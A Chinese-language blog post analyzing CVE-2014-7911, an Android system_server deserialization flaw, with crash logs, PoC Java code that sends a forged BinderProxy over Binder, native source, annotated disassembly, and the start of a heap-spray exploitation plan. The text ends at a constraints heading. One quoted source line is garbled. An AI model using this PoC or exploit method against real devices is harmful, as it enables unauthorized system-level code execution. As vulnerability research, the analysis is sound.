2015-07-31

CVE-2014-7911安卓本地提权漏洞分析与利用

 简介

CVE-2014-7911是由Jann Horn发现的一个有关安卓的提权漏洞,该漏洞允许恶意应用从普通应用权限提权到system用户执行命令,影响版本包括4.4以前所有的版本。该漏洞是一个非常有学习价值的漏洞,其涉及的知识非常广泛,包括Java序列化与反序列化、Dalvik GC机制、Android binder机制、heap spary、ROP、stack pivot。

该漏洞的成因在于java.io.ObjectInputStream类在反序列化输入的数据时,并不验证其合法性,攻击者可以利用此漏洞构造恶意对象在sysemserver进程中执行任意代码并获取提升的权限。但是我google大部分关于这个漏洞的文章,没有一个分析文章能将漏洞的触发流程与这个点串起来的逻辑,或者说文章中根本就没有在提及这个点,这个过程发生在sysemserver处理Parcel数据的时候有个unparcel过程,下边会有详细的逻辑流程。

 调试环境和工具

nexus 5
android 4.4
android studio

漏洞触发

触发

先下载漏洞poc编译过后安装到手机中,一定要拿实体机测试,在genymotion等虚拟机中无法通过反射获取到系统服务。

清除日志 adb logcat -c
开启日志 adb logcat
运行poc,手机重启,查看崩溃日志

--------- beginning of /dev/log/main
I/System.out(10603): 1 inner classes found
I/System.out(10603): 1 inner classes found
D/audio_hw_primary( 8448): select_devices: out_snd_device(2: speaker) in_snd_device(0: )
--------- beginning of /dev/log/system
E/UserManagerService( 8753): Error writing application restrictions list
D/dalvikvm( 8753): GC_FOR_ALLOC freed 134K, 4% free 24602K/25472K, paused 32ms, total 32ms
F/libc    ( 8753): Fatal signal 11 (SIGSEGV) at 0x1337bef3 (code=1), thread 8761 (FinalizerDaemon)
D/dalvikvm( 8753): GC_FOR_ALLOC freed 856K, 7% free 24582K/26312K, paused 31ms, total 31ms
D/dalvikvm( 8753): GC_FOR_ALLOC freed 836K, 7% free 24582K/26312K, paused 35ms, total 35ms
I/ActivityManager( 8753): START u0 {act=android.intent.action.MAIN cat=[android.intent.category.HOME] flg=0x10200000 cmp=com.google.android.googlequicksearchbox/com.google.android.launcher.GEL} from pid 8753
D/audio_hw_primary( 8448): select_devices: out_snd_device(2: speaker) in_snd_device(0: )
I/DEBUG   (  175): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG   (  175): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
I/DEBUG   (  175): Revision: '11'
I/DEBUG   (  175): pid: 8753, tid: 8761, name: FinalizerDaemon  >>> system_server <<<
I/DEBUG   (  175): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
I/DEBUG   (  175):     r0 1337beef  r1 401899d9  r2 71082008  r3 6d468dc4
I/DEBUG   (  175):     r4 401899d9  r5 1337beef  r6 713c12e8  r7 1337beef
I/DEBUG   (  175):     r8 1337beef  r9 746daf68  sl 71082018  fp 74a7eb24
I/DEBUG   (  175):     ip 401c18a4  sp 74a7eae8  lr 40188981  pc 400d6176  cpsr 200f0030
I/DEBUG   (  175):     d0  0000000000000001  d1  0000000000000000
I/DEBUG   (  175):     d2  6d4aece800000000  d3  0000010000000000
I/DEBUG   (  175):     d4  0000000000000000  d5  0000000000000000
I/DEBUG   (  175):     d6  0000000000000000  d7  42c800004bb98bb4
I/DEBUG   (  175):     d8  0000000000000000  d9  0000000000000000
I/DEBUG   (  175):     d10 0000000000000000  d11 0000000000000000
I/DEBUG   (  175):     d12 0000000000000000  d13 0000000000000000
I/DEBUG   (  175):     d14 0000000000000000  d15 0000000000000000
I/DEBUG   (  175):     d16 ffffffff00000013  d17 00000006ffffffff
I/DEBUG   (  175):     d18 0000000000000000  d19 0000000000000000
I/DEBUG   (  175):     d20 0000000000000000  d21 0002000200020002
I/DEBUG   (  175):     d22 0000000000000000  d23 0000000000000000
I/DEBUG   (  175):     d24 0000000000000000  d25 0002a7600002a760
I/DEBUG   (  175):     d26 0707070703030303  d27 0300000004000000
I/DEBUG   (  175):     d28 0800000009000000  d29 0001000000010000
I/DEBUG   (  175):     d30 010b400001088000  d31 01108000010e0000
I/DEBUG   (  175):     scr 60000010
I/DEBUG   (  175):
I/DEBUG   (  175): backtrace:
I/DEBUG   (  175):     #00  pc 0000d176  /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)
I/DEBUG   (  175):     #01  pc 0007097d  /system/lib/libandroid_runtime.so
I/DEBUG   (  175):     #02  pc 0001dbcc  /system/lib/libdvm.so (dvmPlatformInvoke+112)
I/DEBUG   (  175):     #03  pc 0004e123  /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398)
I/DEBUG   (  175):     #04  pc 00026fe0  /system/lib/libdvm.so
I/DEBUG   (  175):     #05  pc 0002dfa0  /system/lib/libdvm.so (dvmMterpStd(Thread*)+76)
I/DEBUG   (  175):     #06  pc 0002b638  /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184)
I/DEBUG   (  175):     #07  pc 0006057d  /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336)
I/DEBUG   (  175):     #08  pc 000605a1  /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20)
I/DEBUG   (  175):     #09  pc 00055287  /system/lib/libdvm.so
I/DEBUG   (  175):     #10  pc 0000d170  /system/lib/libc.so (__thread_entry+72)
I/DEBUG   (  175):     #11  pc 0000d308  /system/lib/libc.so (pthread_create+240)
...

崩溃日志

简单说下崩溃日志格式
1. ndk crash log以*** *** *** *** ***开始.
2. 第一行Build fingerprint: ‘google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys’ 指明了运行的Android版本, 如果您有多份crash dump的话这个信息就比较有用了。
3. 接着一行显示的是当前的线程id(pid)和进程id(tid). 如果当前崩溃的线程是主线程的话, pid和tid会是一样的。
4. 第四行, 显示的是unix信号. 这里的signal 11,即SIGSEGV,表示段错误,是最常见的信号。(SIGSEGV自行google)
5. 接下来的部分是系统寄存器的dump信息。
6. Crash dump还包含PC之前和之后的一些内存字段.
7. 最后是崩溃时的调用堆栈,如果你执行的是debug版本,还能还原一些c++代码。

几个重要的寄存器

  1. r0-r3 用作传入函数参数,传出函数返回值。当参数不超过4个时,可以使用寄存器R0~R3来进行参数传递,当参数超过4个时,使用数据栈来传递参数;结果为一个32位的整数时,通过寄存器r0返回;结果为一个64位整数时,通过寄存器r0,r1返回。另外很重要的一点,在C++中,第一个参数就是this指针,所以this指针是存放在r0中的。
  2. r4-r11 被用来存放函数的局部变量。
  3. fp (or r11) 指向当前正在执行的函数的堆栈底。
  4. sp (or r13) 当前正在执行的函数的堆栈顶.(跟fp相对应)
  5. lr (or r14) link register. 简单来说,当当前指令执行完了,就会从这个寄存器获取地址,来知道需要返回,到哪里继续执行。
  6. pc (or r15) program counter. 程序计数器。

漏洞POC分析

从上边崩溃日志中看出,system_server执行到0x1337bef3地址后触发Error writing application restrictions list写错误,最终造成了崩溃。

漏洞触发过程

结合崩溃信息看poc源码,源码触发过程如下:

1.创建可序列化的对象AAdroid.os.BinderProxy并将其放入Bundle数据中。

Bundle bundle = new Bundle();
BinderProxy evilProxy = new BinderProxy();
evilProxy.mOrgue = staticAddr;
evilProxy.mObject = staticAddr;
bundle.putSerializable("eatthis", evilProxy);

类AAdroid.os.BinderProxy代码:

public class BinderProxy implements Serializable {
    private static final long serialVersionUID = 0;
    public int mObject = 0x1337beef;
    public int mOrgue = 0x1337beef;
}

注意其中两个可控的成员变量mObject和mOrgue分别赋值0x1337beef,正是崩溃点。

2.通过一系列java的反射机制,获得跨进程调用systemserver的IBinder接口mRemote,为与systemserver的跨进程通信做准备。

// 获取类对象android.os.IUserManager.Stub
Class stubClass = null;
Class[] umSubclasses = Class.forName("android.os.IUserManager").getDeclaredClasses();
System.out.println(umSubclasses.length + " inner classes found");

for (Class inner : umSubclasses) {
    if (inner.getCanonicalName().equals("android.os.IUserManager.Stub")) {
        stubClass = inner;
        break;
    }
}

// 获取对象android.os.IUserManager.Stub中TRANSACTION_setApplicationRestrictions的值用于transact()
Field TRANSACTION_setApplicationRestrictionsField = stubClass.getDeclaredField("TRANSACTION_setApplicationRestrictions");
TRANSACTION_setApplicationRestrictionsField.setAccessible(true);
TRANSACTION_setApplicationRestrictions = TRANSACTION_setApplicationRestrictionsField.getInt(null);

// 获取类对象android.os.IUserManager.Stub.Proxy
Class proxyClass = null;
Class[] umStubclasses = stubClass.getDeclaredClasses();
System.out.println(umStubclasses.length + " inner classes found");
for (Class inner : umStubclasses) {
    if (inner.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
        proxyClass = inner;
        break;
    }
}

// 获取UserManager类对象实例
UserManager userManager = (UserManager) context.getSystemService(Context.USER_SERVICE);
// 获取UserManager类对象中mService对象, 类型为IUserManager
Field mServiceField = UserManager.class.getDeclaredField("mService");
mServiceField.setAccessible(true);
// 获取UserManager类对象实例中的mService对象值
Object mService = mServiceField.get(userManager);

// 获取类对象android.os.IUserManager.Stub.Proxy中的mRemote对象
Field mRemoteField = proxyClass.getDeclaredField("mRemote");
mRemoteField.setAccessible(true);
// 获取获取类型为IUserManager的实例对象mService对象值
mRemote = (IBinder) mRemoteField.get(mService);

3.调用setApplicationRestrictions函数,传入之前打包evilproxy的Bundle数据作为参数。

private void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
            userHandle) throws android.os.RemoteException {
    android.os.Parcel _data = android.os.Parcel.obtain();
    android.os.Parcel _reply = android.os.Parcel.obtain();
    try {
        _data.writeInterfaceToken(DESCRIPTOR);
        _data.writeString(packageName);
        _data.writeInt(1);
        restrictions.writeToParcel(_data, 0);
        _data.writeInt(userHandle);

        byte[] data = _data.marshall();
        for (int i=0; true; i++) {
            if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
                data[i] = 'a';
                data[i+1] = 'n';
                break;
            }
        }
        _data.recycle();
        _data = Parcel.obtain();
        _data.unmarshall(data, 0, data.length);

        mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
        _reply.readException();
    }
    finally {
        _reply.recycle();
        _data.recycle();
    }
}

将该函数与Android源码中的Android.os.IUserManager.Stub.Proxy.setApplicationRestrictions函数对比,主要的区别在于将传入的Bundle数据进行了修改,将之前可序列化的AAdroid.os.BinderProxy对象修改为了不可序列化的Android.os.BinderProxy对象,这样就将不可序列化的Bundles数据,通过Binder跨进程调用,传入systemserver中,systemserver在处理这些数据时造成异常崩溃。

进程间通信

Binder

通过POC知道造成崩溃行为的代码为mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0),这里就涉及到进程间通信,在Android中,Binder用于完成进程间通信(IPC),即把多个进程关联在一起,以下摘自网络:

Binder是一种架构,这种架构提供了服务端接口、Binder驱动、客户端接口三个模块。
  服务端:一个Binder服务端实际上就是一个Binder类的对象,该对象一旦创建,内部就启动一个隐藏线程。该线程接下来会接收Binder驱动发送的消息,收到消息后,会执行到Binder对象中的onTransact()函数,并按照该函数的参数执行不同的服务代码。因此,要实现一个Binder服务,就必须重载onTransact()方法。重载onTransact()函数的主要内容是把onTransact()函数的参数转换为服务函数的参数,而onTransact()函数的参数来源是客户端调用transact()函数时输入的,因此,如果transact()有固定格式的输入,那么onTransact()就会有固定格式的输出。
  Binder驱动:任意一个服务端Binder对象被创建时,同时会在Binder驱动中创建一个mRemote对象,该对象的类型也是Binder类。客户端要访问远程服务时,都是通过mRemote对象。
  客户端:客户端要想访问远程服务,必须获取远程服务在Binder对象中对应的mRemote引用,获得该mRemote对象后,就可以调用其transact()方法,而在Binder驱动中,mRemote对象也重载了transact()方法,重载的内容主要包括以下几项:1. 以线程间消息通信的模式,向服务端发送客户端传递过来的参数。2. 挂起当前线程,当前线程正是客户端线程,并等待服务端线程执行完指定服务函数后通知(notify)。3. 接收到服务端线程的通知,然后继续执行客户端线程,并返回到客户端代码区。

通过上边简短的介绍,我们知道,要想使用服务端,首先要获取服务端在Binder驱动中对应的mRemote变量的引用,在POC中通过反射方式获得。
获得该变量的引用后,就可以调用该变量的transact()方法。该方法的函数原型:public final boolean transact(int code, Parcel data, Parcel reply,int flags),其中data表示的是要传递给远程Binder服务的包裹(Parcel),远程服务函数所需要的参数必须放入这个包裹中。包裹中只能放入特定类型的变量,这些类型包括常用的原子类型,比如String、int、long等,要查看包裹可以放入的全部数据类型,可以参照Parcel类。除了一般的原子变量外,Parcel还提供了一个writeParcel()方法,可以在包裹中包含一个小包裹。因此,要进行Binder远程服务调用时,服务函数的参数要么是一个原子类,要么必须继承于Parcel类,否则,是不能传递的。这也是为什么最开始要创建一个可序列化的对象AAdroid.os.BinderProxy并将其放入Bundle数据中。

网上关于进程间通信的资料大部分都是又臭又长,如果想快速了解推荐一篇文章 android中的跨进程通信的实现(一)——远程调用过程和aidl

service manager和binder service

Binder是android系统中实现跨进程通信(IPC)的一种重要机制。service manager是所有binder service的管理者,但它并不是这些binder service的创建者。这些binder service有些是init进程启动的服务创建的,有些是system_server进程创建的,但是service manager会管理所有binder service的信息,方便client查询以及调用。

service manager是由init进程直接启动的,ActivityManagerService,PackageManagerService等系统的基本服务(frameworks\base\services\java\com\android\server源码路径里的服务类)由systemserver进程启动的。binder service实际上并没有单独的进程,它们只是systemserver的一个子线程。init进程会启动surface flinger,media server, drmserver等服务,在这些服务里会创建binder service,并注册到service manager。

native binder service 和 java 层的binder service,都会交由service manager注册,然后由service manager管理。客户端使用binder service时需要向service manager查询得到binder service在当前进程的一个代理proxy,通过代理与binder service的服务端交互。

漏洞触发过程中数据的parcel和unparcel

进程间传递Parcel类型数据,一端通过writeToParcel将对象映射成Parcel对象传递出去,另一端再通过createFromParcel将Parcel对象映射回原始对象进行处理。可以将Parcel看成是一个流,通过writeToParcel把对象写到流里面,在通过createFromParcel从流里读取对象。

然后看POC中修改过的不可反序列化的parcel对象Android.os.BinderProxy的处理过程,
接POC最后执行流程,执行过mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0)过后,
system_server层会去调用IUserManager.onTransact()方法,来到case TRANSACTION_setApplicationRestrictions分支开始处理传进来的parcel数据流:

先是_arg1 = android.os.Bundle.CREATOR.createFromParcel(data)读取数据对象,然后调用this.setApplicationRestrictions(_arg0, _arg1, _arg2);

然后转入UserManagerService,UserManagerService继承IUserManager.Stub并实现了setApplicationRestrictions方法,下边的调用流程为(跟着参数_arg1也就是修改过不可反序列化的对象走)

> IUserManager.Stub.Proxy.setApplicationRestrictions(_arg0, _arg1, _arg2) ->
UserManagerService.setApplicationRestrictions ->
UserManagerService.writeApplicationRestrictionsLocked ->
Bundle.keySet()(restrictions.keySet()) ->
Bundle.unparcel() ->
Parcel.readArrayMapInternal() ->
Parcel.readValue(ClassLoader) ->
Parcel.readSerializable(ClassLoader) ->
ObjectInputStream.readObject() ->
ObjectInputStream.readNonPrimitiveContent() ->
ObjectInputStream.readNewObject() ->

对比之前版本知道,最后classDesc.checkAndGetTcObjectClass()这里就是补丁代码了,进去checkAndGetTcObjectClass()看到上边几行注释

/**
 * Checks the local class to make sure it is valid for {@link ObjectStreamConstants#TC_OBJECT}
 * deserialization. Also performs some sanity checks of the stream data. This method is used
 * during deserialization to confirm the local class is likely to be compatible with the coming
 * stream data, but before an instance is instantiated.
 *
 * @hide used internally during deserialization
 */

注释也很清楚了说明了,这是加的一个补丁,在数据被实例化之前,用来检测对象是否可被反序列化。
更详细的补丁代码可以查看:2d0fbea07c1a3c4368ddb07609d1a86993ed6de9

漏洞分析

回过头来看crash dump信息,根据backtrace显示的堆栈调用最后调用了/system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)

Android指针管理

Android中通过引用计数来实现智能指针,并且实现有强指针与弱指针。由对象本身来提供引用计数器,但是对象不会去维护引用计数器的值,而是由智能指针来管理。要达到所有对象都可用引用计数器实现智能指针管理的目标,可以定义一个公共类,提供引用计数的方法,所有对象都去继承这个公共类,这样就可以实现所有对象都可以用引用计数来管理的目标,在Android中,这个公共类就是RefBase。

RefBase作为公共基类提供了引用计数的方法,但是并不去维护引用计数的值,而是由两个智能指针来进行管理:sp(Strong Pointer)和wp(Weak Pointer),代表强引用计数和弱引用计数。RefBase提供了incStrong与decStrong函数用于控制强引用计数值,其弱引用计数值是由weakref_impl控制,强引用计数与弱引用数都保存在weakref_impl *类型的成员变量mRefs中。

当sp销毁时其析构函数调用对象即RefBase的decStrong函数,decStrong中将强引用数与弱引用数同时减1,如果这是最后一个强引用的话,会调用对象的onLastStrongRef,并且判断成员变量mRefs的成员变量mFlags来决定是否在对象的强引用数为0时释放对象。

GC机制

简单介绍一下Java对象的生命周期与垃圾回收(摘自网络):

创建对象的方式:

  • 用new语句创建对象。
  • 使用反射,调用java.lang.Class或java.lang.reflect.Constructor的newInstance()实例方法。
  • 调用对象的clone()方法
  • 使用反序列化手段,调用java.io.ObjectInputStream对象的readObject()方法。

垃圾回收和对象的可触及性:

  • 可触及状态:当一个对象被创建后,只要程序中还有引用变量引用该对象,那么它就始终处于可触及状态。
  • 可复活状态:当程序不再有任何引用变量引用对象时,它就进入可复活状态。该状态的对象,垃圾回收器会准备释放它占用的内存,在释放前,会调用它的finalize()方法,这些finalize()方法有可能使对象重新转到可触及状态。
  • 不可触及状态:当JVM执行完所有的可复活状态的finalize()方法后,假如这些方法都没有使对象转到可触及状态。那么该对象就进入不可触及状态。只有当对象处于不可触及状态时,垃圾回收器才会真正回收它占用的内存。

漏洞成因

通过RefBase和GC机制的简单了解得知该处崩溃是由于对象销毁触发GC处理过程,当system_server对传进来的对象进行反序列化后就创建了对象,启动Activity后将其最小化,触发GC,由于该对象并没有任何引用,GC清理时就会调用该对象的finalize方法,即调用了Android.os.BinderProxy的finalize方法,然后会调用destroy(),destroy()为native方法。

@Override
protected void finalize() throws Throwable {
    try {
        destroy();
    } finally {
        super.finalize();
    }
}

private native final void destroy();

定位到androidosBinderProxy_destroy

static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{
    IBinder* b = (IBinder*)
            env->GetIntField(obj, gBinderProxyOffsets.mObject);
    DeathRecipientList* drl = (DeathRecipientList*)
            env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
    LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
    env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
    env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
    drl->decStrong((void*)javaObjectForIBinder);
    b->decStrong(obj);
    IPCThreadState::self()->flushCommands();
}

代码一开始就将gBinderProxyOffsets.mObjectgBinderProxyOffsets.mOrgue强制转换成函数指针,那么gBinderProxyOffsets.mObjectgBinderProxyOffsets.mOrgue是什么鬼?找到BinderProxy服务注册函数int_register_android_os_BinderProxy

const char* const kBinderProxyPathName = "android/os/BinderProxy";
static int int_register_android_os_BinderProxy(JNIEnv* env)
{
    jclass clazz;
    clazz = env->FindClass("java/lang/ref/WeakReference");
    LOG_FATAL_IF(clazz == NULL, "Unable to find class java.lang.ref.WeakReference");
    gWeakReferenceOffsets.mClass = (jclass) env->NewGlobalRef(clazz);
    gWeakReferenceOffsets.mGet = env->GetMethodID(clazz, "get", "()Ljava/lang/Object;");
    assert(gWeakReferenceOffsets.mGet);
    clazz = env->FindClass("java/lang/Error");
    LOG_FATAL_IF(clazz == NULL, "Unable to find class java.lang.Error");
    gErrorOffsets.mClass = (jclass) env->NewGlobalRef(clazz);
    clazz = env->FindClass(kBinderProxyPathName);
    LOG_FATAL_IF(clazz == NULL, "Unable to find class android.os.BinderProxy");
    gBinderProxyOffsets.mClass = (jclass) env->NewGlobalRef(clazz);
    gBinderProxyOffsets.mConstructor = env->GetMethodID(clazz, "<init>", "()V");
    assert(gBinderProxyOffsets.mConstructor);
    gBinderProxyOffsets.mSendDeathNotice = env->GetStaticMethodID(clazz, "sendDeathNotice", "(Landroid/os/IBinder$DeathRecipient;)V");
    assert(gBinderProxyOffsets.mSendDeathNotice);
    gBinderProxyOffsets.mObject = env->GetFieldID(clazz, "mObject", "I");
    assert(gBinderProxyOffsets.mObject);
    gBinderProxyOffsets.mSelfvoid RefBase::decStrong = env->GetFieldID(clazz, "mSelf", "Ljava/lang/ref/WeakReference;");
    assert(gBinderProxyOffsets.mSelf);
    gBinderProxyOffsets.mOrgue = env->GetFieldID(clazz, "mOrgue", "I");
    assert(gBinderProxyOffsets.mOrgue);
    ...
    ...
}

代码中可以看到,通过一些列反射通过对象引用计数器获取android.os.BinderProxy对象实例,然后通过

gBinderProxyOffsets.mObject = env->GetFieldID(clazz, "mObject", "I");
gBinderProxyOffsets.mOrgue = env->GetFieldID(clazz, "mOrgue", "I");

获取其成员变量mObject和mOrgue的值,即获取了AAdroid.os.BinderProxy中的变量mObject和mOrgue的值。
而我们可以控制mObject和mOrgue的值,这样就相当于我们可以向system_server传递一个任意值的函数指针this,并在该对象实例被GC时有机会获得控制权。

继续看android_os_BinderProxy_destroy代码,将mOrgue强制转成DeathRecipientList函数指针后会调用函数drl->decStrong((void*)javaObjectForIBinder)
DeathRecipientList继承RefBase,找到RefBase类中的decStrong方法,位于RefBase.cpp


void RefBase::decStrong(const void* id) const
{
    // 成员变量mRefs是在对象的构造函数中初始化
    weakref_impl* const refs = mRefs;
    // 强引用数与弱引用数同时减1
    refs->removeStrongRef(id);
    // 获取强引用数,返回&refs->mStrong
    const int32_t c = android_atomic_dec(&refs->mStrong);
#if PRINT_REFS
    ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
    ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);
    // 如果这是最后一个强引用的话
    if (c == 1) {
        refs->mBase->onLastStrongRef(id);
        if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
            delete this;
        }
    }
    refs->decWeak(id);
}

这个对象销毁过程参考前边介绍的Android指针管理,decStrong中将强引用数与弱引用数同时减1,如果这是最后一个强引用的话,会调用对象的onLastStrongRef,并且判断成员变量mRefs的成员变量mFlags来决定是否在对象的强引用数为0时释放对象。

我们传入的mOrgue的值,即是drl->decStrong方法所在类DeathRecipientList的this指针,所以执行到refs->mBase->onLastStrongRef(id)最终导致我们的代码执行。mBase类型为RefBase* const,相当于直接跳到mOrgue地址执行了,即程序崩在了0x1337bef3,r0为函数第一个参数即this指针,所以其值也是0x1337bef3。

反汇编定位崩溃点

经过前边的分析已经知道了漏洞成因以及最终漏洞触发函数,但是想要利用漏洞就必须定位到具体的触发崩溃的点,需要知道最后是哪个操作造成的,以及相关寄存器哪些是可控的。

从android4.4.4原生系统中扣出libutil.so文件,然后反汇编android::RefBase::decStrong(void const*) const函数,汇编代码以及说明如下所示:


================ B E G I N N I N G   O F   P R O C E D U R E ================


             _ZNK7android7RefBase9decStrongEPKv:        // android::RefBase::decStrong(void const*) const
0000d172         push       {r4, r5, r6, lr}                                    ; XREF=_ZN7android2spINS_9BlobCache4BlobEED1Ev+10, _ZN7android2spINS_9BlobCache4BlobEEaSERKS3_+22, _ZN7android2spINS_14LooperCallbackEED1Ev+18, _ZN7android2spINS_6ThreadEE5clearEv+18, _ZN7android6Thread3runEPKcij+70, _ZN7android6Thread11_threadLoopEPv+178, _ZN7android6Looper16threadDestructorEPv+6, _ZN7android6Looper12setForThreadERKNS_2spIS0_EE+42, _ZN7android6Looper12setForThreadERKNS_2spIS0_EE+52, _ZN7android2spINS_14LooperCallbackEEaSERKS2_+36, _ZN7android6Looper9pollInnerEi+506, …
0000d174         mov        r5, r0  // r0为drl的this指针
0000d176         ldr        r4, [r0, #0x4]  // mRefs是drl父类RefBase虚函数下边第一个私有变量,即为drl虚表下边第一个私有变量,所以地址为this+4
0000d178         mov        r6, r1
0000d17a         mov        r0, r4  // &refs->mStrong为weakref_impl类的第一成员变量,并且其父类weakref_type没有虚函数,所以不存在虚表,所以其地址为r4
0000d17c         blx        android_atomic_dec@PLT // 获取强引用数
0000d180         cmp        r0, #0x1    // 返回值与1比较
0000d182         bne        0xd19c  // 不等跳到0xd19c 该处为漏洞利用的约束条件

0000d184         ldr        r0, [r4, #0x8]  // weakref_impl类中mBase位于第三个成员变量,所以其地址为r4+8
0000d186         mov        r1, r6  // refs->mBase->onLastStrongRef参数id
0000d188         ldr        r3, [r0]    // 将mBase地址传给r3,即r3为RefBase类this指针
0000d18a         ldr        r2, [r3, #0xc]  // 父类weakref_type虚表指针vfptr+私有变量mRefs + 4(onLastStrongRef为第二个虚函数) = 0xC
0000d18c         blx        r2  // 调用refs->mBase->onLastStrongRef
0000d18e         ldr        r0, [r4, #0xc]
0000d190         lsls       r0, r0, #0x1f
0000d192         bmi        0xd19c

0000d194         ldr        r1, [r5]
0000d196         mov        r0, r5
0000d198         ldr        r3, [r1, #0x4]
0000d19a         blx        r3

0000d19c         mov        r0, r4                                              ; argument #1 for method _ZN7android7RefBase12weakref_type7decWeakEPKv, XREF=_ZNK7android7RefBase9decStrongEPKv+16, _ZNK7android7RefBase9decStrongEPKv+32
0000d19e         mov        r1, r6
0000d1a0         pop.w      {r4, r5, r6, lr}
0000d1a4         b.w        _ZN7android7RefBase12weakref_type7decWeakEPKv       ; android::RefBase::weakref_type::decWeak(void const*)
                        ; endp

根据汇编代码可以看出,为实现任意代码执行得满足条件:
&refs->mStrong == 1,即*(*(mOrgue+4)) == 1
所以总结下来应该是

    
if(*(*(mOrgue+4)) == 1) {
    refs = *(mOrgue+4);
    r2 = *(*(*(refs+8))+0xC);
    blx r2 ; <—— controlled;
}

对照反汇编代码更容易看出来

int android::RefBase::decStrong(void const*) const(void * arg0) {
    r5 = arg0;
    r4 = *(arg0 + 0x4);
    r6 = r1;
    if (android_atomic_dec() == 0x1) {
            r0 = *(r4 + 0x8);
            r3 = *r0;
            r2 = *(r3 + 0xc);
            (r2)(r0, r6, r2, r3);
            if (PARITY(*(r4 + 0xc) << 0x1f)) {
                    r1 = *r5;
                    (*(r1 + 0x4))(r5, r1);
            }
    }
    Pop();
    Pop();
    Pop();
    Pop();
    r0 = android::RefBase::weakref_type::decWeak(r4);
    return r0;
}

最后执行的汇编代码地址为: r2 = *(*(*(refs+8))+0xC) = *(*(*(*(mOrgue+4)+8))+0xC)

思考

通过分析,其实这个漏洞触发需要的条件就两个:
1. 向systemserver传递对象,并且systemserver会将该对象反序列化。
2. 传递数据前将可序列化的对象修改为不可序列化。

第一个问题,是否必须使用Android.os.UserManager.setApplicationRestrictions方法向system_server传递对象?

并不是,其实我们需要的是找到一个途径将序列化后的对象传递进systemserver进程,并且systemserver会将该对象反序列化,只要满足这样的条件均可。这样的系统服务还是很多的,例如frameworks\base\services\java\com\android\server目录下的系统服务,找到相对应的应用层通信调用的地方就可以了。

第二个问题,为什么要将AAdroid.os.BinderProxy修改为Android.os.BinderProxy?

漏洞的整个触发过程仅仅是向systemserver进程传递了一个恶意对象实例,此时没有任何该对象的方法或者数据被使用,然而由于Java GC机制,当该对象被清理时,GC将调用他的finalize方法。由于finalize方法是不可控的,可控仅仅是该恶意对象,所以漏洞仍然无法利用。回头再看Android.os.BinderProxy,它在其finalize方法中将变量mObject和mOrgue强制转换为函数指针并调用。但是其中mObject和mOrgue的值是可控的,这样就相当于可以向systemserver传递一个任意值的函数指针this,并在该对象实例被GC时有机会获得控制权。

漏洞利用

在上边已经分析了漏洞的成因和触发时机。
POC崩溃到mOrgue,从该地址处取值,所以从这个点开始控制流程。
由于堆分配不可控,所以要让mOrgue指向的内存命中可控区域,这里需要采用堆喷技术。在控制流程之后要想使代码顺利执行,还需要过掉DEP和ASLR。

Dakvik-Heap Spray

堆喷数据一般由大量的堆块组成,每个堆块又由大量的滑板指令+shellcode组成,滑板指令的目的是让程序能跳转到shellcode中执行我们的代码,看漏洞最后执行的汇编代码是执行了blx r2操作,即跳转到r2处执行代码,而r2的值是由r0经过三级指针获取的,所以需要将布局的滑板指令覆盖到r0并且能够跳转到shellcode中。

堆块布局

先看最终的堆块布局,如下图所示:
exploit-cve-2014-7911-exp-1

假设mOrgue命中了堆块中的滑板指令,
为了使[mOrgue] = shellcode_addr
则有[mOrgue] = shellcode_addr = heap_base_addr + shellcode_addr_offset
一般情况下mOrgue在堆基址某偏移处,考虑到4字节对齐,所以mOrgue = heap_base_addr + 4N
得出[mOrgue] = heap_base_addr + shellcode_addr_offset = mOrgue + shellcode_addr_offset - 4N
这样,给定一个mOrgue,只要能落入system_server在dalvik heap分配的大量堆块中,
即指向了滑板指令,就总是存在[mOrgue] = shellcode_addr

再看堆块结构图,滑板指令的值从上到下依次减4,
所以当[mOrgue] = shellcode_addr时,[mOrgue + 4] = shellcode_addr - 4
可得出[mOrgue + 4N] = shellcode_addr - 4N

所以通过构造这样结构的堆块,就可以达到上述滑板指令的目的,
同时当命中滑板指令时,这个堆块布局有两个逻辑公式:

[mOrgue] = mOrgue + shellcode_addr_offset - 4N
[mOrgue + 4N] = shellcode_addr - 4N

堆块布局约束条件

解决了滑板指令的问题,还要考虑到漏洞利用过程中堆块内写入数据的约束条件,重新看汇编代码

0000d174         mov        r5, r0  // r0 = mOrgue可控
0000d176         ldr        r4, [r0, #0x4]  // mOrgue + 4处取值
0000d178         mov        r6, r1
0000d17a         mov        r0, r4
0000d17c         blx        android_atomic_dec@PLT
0000d180         cmp        r0, #0x1    
0000d182         bne        0xd19c  

0000d184         ldr        r0, [r4, #0x8]  // r0 = [r4 + 8]
0000d186         mov        r1, r6  
0000d188         ldr        r3, [r0]    
0000d18a         ldr        r2, [r3, #0xc]
0000d18c         blx        r2  

跳转限制条件:

[r0, #0x4] == 1 即 [mOrgue + 4] == 1
根据[mOrgue + 4N] = shellcode_addr得出
shellcode_addr - 4 == 1

流程控制限制条件:

